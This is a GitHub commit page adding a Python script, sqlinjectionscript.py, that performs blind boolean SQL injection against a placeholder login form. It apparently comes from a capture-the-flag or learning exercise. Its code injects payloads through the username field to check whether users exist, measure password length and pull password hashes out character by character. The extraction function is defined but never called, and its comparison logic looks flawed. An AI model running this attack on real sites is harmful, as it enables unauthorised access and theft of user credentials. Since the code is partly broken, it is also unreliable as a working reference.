Skip to content

Commit 92908eb

Browse files
authored
Create sqlinjectionscript.py
1 parent 2c26aa4 commit 92908eb

File tree

1 file changed

+60
-0
lines changed

1 file changed

+60
-0
lines changed

sqlinjectionscript.py

Lines changed: 60 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,60 @@
1+
import requests
2+
3+
total_queries = 0
4+
charset = "0123456789abcdef"
5+
target = "http://IP:PORT"
6+
needle = "Welcome Back"
7+
8+
def injected_query(payload):
9+
global total_queries
10+
r = requests.post(target, data = {"username" : "admin' and {}--".format(payload), "password" : "password"})
11+
total_queries += 1
12+
return needle.encode() not in r.content
13+
14+
15+
def boolean_query(offset, user_id, character, operator=">"):
16+
payload = "(select hex(substr(password,{},1)) from user where id = {}) {} hex('{}')".format(offset+1, user_id, operator, character)
17+
return injected_query(payload)
18+
19+
20+
def invalid_user(user_id):
21+
payload = "(select id from user where id = {}) >=0".format(user_id)
22+
return injected_query(payload)
23+
24+
def password_length(user_id):
25+
i = 0
26+
while True:
27+
payload = "(select length(password) from user where id = {} and length(password) <= {} limit 1)".format(user_id, i)
28+
if not injected_query(payload):
29+
return i
30+
i += 1
31+
32+
33+
def extract_hash(charset, user_id, password_length):
34+
found = ""
35+
for i in range(0, password_length):
36+
for j in range(len(charset)):
37+
if boolean_query(i, user_id, charset[j]):
38+
found += charset[j]
39+
break
40+
return found
41+
42+
43+
def total_queries_taken():
44+
global total_queries
45+
print("\t\t [!] {} Total Queries found !".format(total_queries))
46+
total_queries = 0
47+
48+
49+
while True:
50+
try:
51+
user_id = input("Enter a user ID to extract the password hash")
52+
if not invalid_user(user_id):
53+
user_password_length = password_length(user_id)
54+
print("\t [-] User {} hash length: {}".format(user_id, user_password_length))
55+
total_queries_taken()
56+
else:
57+
print("\t [X] User {} does not exist!".format(user_id))
58+
except KeyboardInterrupt:
59+
break
60+

0 commit comments

Comments
 (0)